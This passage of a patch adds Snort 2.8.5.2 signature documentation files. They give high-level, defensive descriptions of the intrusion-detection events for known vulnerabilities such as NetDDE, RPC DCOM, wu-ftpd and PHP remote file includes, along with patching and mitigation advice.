+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com> 
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/4848
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2962.txt
+++ snort-2.8.5.2/doc/signatures/2962.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2962
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2753.txt
+++ snort-2.8.5.2/doc/signatures/2753.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2753
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_repsites
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2227.txt
+++ snort-2.8.5.2/doc/signatures/2227.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2227
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP application Pod.Board.
+
+--
+Impact:
+Execution of arbitrary code on the client machine connecting to the host
+running the application. Theft of cookie data not limited to 
+authentication credentials is possible.
+
+--
+Detailed Information:
+The forum_details.php script does not properly check data supplied in 
+input fields or via URI parameters which leads to HTML injection 
+possibilites. This injection can include malicious script of the 
+attackers choosing.
+
+--
+Affected Systems:
+	planetinsanity.de pod.board 1.1
+
+--
+Attack Scenarios:
+A cross site scripting attack is possible, the attacker would need to 
+entice the victim to use a link supplied by the attacker which could 
+then divulge login and cookie information.
+
+--
+Ease of Attack:
+Moderate to Difficult. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2937.txt
+++ snort-2.8.5.2/doc/signatures/2937.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2937
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000410.txt
+++ snort-2.8.5.2/doc/signatures/100000410.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000410
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "REDAXO" application running on a webserver. Access to the file "index.inc.php" using a remote file being passed as the "REX[INCLUDE_PATH]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "REX[INCLUDE_PATH]" parameter in the "index.inc.php" script used by the "REDAXO" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using REDAXO
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3461.txt
+++ snort-2.8.5.2/doc/signatures/3461.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+3461
+
+--
+Summary:
+This event is generated when an attempt is made to overflow a buffer
+using the Content-Type parameter.
+
+--
+Impact:
+Serious. Code execution is possible.
+
+--
+Detailed Information:
+Internet Explorer does not correctly handle Content-Type or
+Content-Encoding headers returned from a server. It is possible to
+overflow a static buffer in urlmon.dll by supplying more than 300 bytes
+of data in the parameter for those headers.
+
+Specifically the error occurs when an image tag <img> is used to pass
+the excess data to both those header fields in a server response. Since
+some email clients use Internet Explorer to process HTML email messages,
+it is also possible to cause this overflow to occur via email.
+
+--
+Affected Systems:
+	Microsoft Windows systems
+
+--
+Attack Scenarios:
+An attacker can supply a malicious HTML file to a mail client containing
+excess data in the Content-Type and Content-Encoding headers that will
+overflow the buffer presenting them with the opportunity to write to
+various parts of memory and possibly execute code of their choosing.
+
+--
+Ease of Attack:
+Simple. Exploit code is publicly available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2151.txt
+++ snort-2.8.5.2/doc/signatures/2151.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 2151
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in a php application. 
+
+--
+Impact:
+Arbitrary code execution.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a vulnerability in a ttCMS or ttForum PHP application.
+
+It is possible for an attacker to include a PHP file of his choosing via a URL in ttCMS or ttForum PHP applications, the script is processed and executed with the privileges of the user running the webserver. This is due to poor checking of user supplied variables in the News.php and Install.php scripts.
+
+The vendor for these applications states that exploitation is not possible. However, proof of concepts for these issues have been circulated.
+
+--
+Affected Systems:
+Any host using ttCMS or ttForum.
+
+--
+Attack Scenarios:
+An attacker could include a PHP file of his choice by including the file name in a URI supplied to the webserver that would in turn process the script via either News.php or Install.php.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host.
+
+Check the webserver log files for signs of this activity.
+
+Where possible, ensure the webserver is run as an unprivileged process.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/7542
+http://www.securityfocus.com/bid/7543
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1147.txt
+++ snort-2.8.5.2/doc/signatures/1147.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1147
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000851.txt
+++ snort-2.8.5.2/doc/signatures/100000851.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000851
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "IceWarp" application running on a webserver. Access to the file "include.php" using a remote file being passed as the "language" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "language" parameter in the "include.php" script used by the "IceWarp" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using IceWarp
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1668.txt
+++ snort-2.8.5.2/doc/signatures/1668.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1668
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1880.txt
+++ snort-2.8.5.2/doc/signatures/1880.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1880
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1699.txt
+++ snort-2.8.5.2/doc/signatures/1699.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+1699
+
+--
+Summary:
+This event is generated when activity by Peer-to-Peer (p2p) clients is detected.
+
+--
+Impact:
+Informational event. Unauthorized use of a p2p client may be in progress.
+
+--
+Detailed Information:
+This event indicates that use of a p2p client has been detected. This may be against corporate policy. p2p clients connect to other p2p clients to share files, commonly music and video files but can be configured to share any file on the local machine.
+
+This activity may not only use bandwidth but may also be used to transfer company confidential information to unauthorized hosts external to the protected network bypassing other security measures in place.
+
+--
+Affected Systems:
+Any host using a p2p client.
+
+--
+Attack Scenarios:
+This is indicative of the use of a p2p client.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+Any HTTP GET request to a port associated with a p2p application may generate a false positive event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check the host and uninstall any p2p client found.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3067.txt
+++ snort-2.8.5.2/doc/signatures/3067.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+3067
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"examine" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+In the case of Ipswitch IMail, an overly long mailbox name supplied as a
+parameter to the examine command may be a trigger condition of a buffer
+overflow. A name of 259 bytes or more may cause this to occur.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+	Ipswitch IMail 8.1.3
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/318.txt
+++ snort-2.8.5.2/doc/signatures/318.txt
@@ -0,0 +1,64 @@
+SID:
+318
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attempt is made to exploit a vulnerable 
+version of bootpd
+--
+
+Impact:
+If attack is successful, total system compromise from a remote attacker
+--
+
+Detailed Information:
+Due to improper handling of bounds checking in bootp request packets 
+Bootpd version 2.4.3(and earlier) is susceptible to several types of 
+buffer overflows. A successful exploit will result in complete 
+compromise of the attacked system. Any system running Bootpd version 
+Stanford University bootpd 2.4.3 should consider themselves vulnerable
+--
+
+Affected Systems:
+	Debian Linux 1.1
+	Debian Linux 1.2
+	Debian Linux 1.3
+	Debian Linux 1.3.1
+	Debian Linux 2.0
+	Stanford University bootpd 2.4.3
+--
+
+Attack Scenarios:
+An attacker can exploit vulnerable bootpd servers and modify system 
+files as the root user or create a shell with root privileges
+--
+
+Ease of Attack:
+Simple, Sample code exists
+--
+
+False Positives:
+none
+--
+
+False Negatives:
+none
+--
+
+Corrective Action:
+Vendors have supplied patched versions of bootpd, upgrade
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2465.txt
+++ snort-2.8.5.2/doc/signatures/2465.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2465
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3022.txt
+++ snort-2.8.5.2/doc/signatures/3022.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3022
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/345.txt
+++ snort-2.8.5.2/doc/signatures/345.txt
@@ -0,0 +1,60 @@
+SID:
+345
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd
+--
+
+Impact:
+Possible remote execution of commands on the affected server as the root user
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) does not perform proper 
+checking in its SITE EXEC implementation, and allows user input to be 
+sent directly to printf. This allows an attacker to overwrite data and 
+eventually execute code on the server.
+
+--
+
+Affected Systems:
+Any system running wu-ftpd 2.6 .0 or below
+--
+
+Attack Scenarios:
+A remote attacker will attempt to execute commands on the ftp server 
+with root user privileges, over writing or modifying system files. This 
+can be done with anonymous and real user logins.
+--
+
+Ease of Attack:
+Simple, Exploits exist
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to latest version which has fixes for this problem. Maybe even get rid of wu-ftp with something more secure
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3207.txt
+++ snort-2.8.5.2/doc/signatures/3207.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3207
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3447.txt
+++ snort-2.8.5.2/doc/signatures/3447.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+3447
+
+--
+Summary:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Affected Systems:
+	NA
+
+--
+Attack Scenarios:
+NA
+
+--
+Ease of Attack:
+NA
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+NA
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2076.txt
+++ snort-2.8.5.2/doc/signatures/2076.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2076
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Mambo Site Server.
+
+--
+Impact:
+Unauthorized upload of files to a server.
+
+--
+Detailed Information:
+Arbitrary files can be uploaded to a server running vulnerable versions 
+of Mambo Site Server due to laxe checking in the scripts controlling 
+uploading of files.
+
+The scripts perform checks for certain file extensions but do not 
+prevent the upload of files with image extensions.
+
+--
+Affected Systems:
+	Mambo Mambo Site Server 4.0.10, 4.0.11 and 4.0.12 BETA
+
+--
+Attack Scenarios:
+The attacker can upload malicious scripts and executable files by 
+appending a valid extension used for an image file.
+
+The attacker can also use the server to store files of his choosing.
+
+--
+Ease of Attack:
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest version of Mambo Site Server.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/6572
+
+--
--- snort-2.8.5.2.orig/doc/signatures/998.txt
+++ snort-2.8.5.2/doc/signatures/998.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 998
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2068.txt
+++ snort-2.8.5.2/doc/signatures/2068.txt
@@ -0,0 +1,74 @@
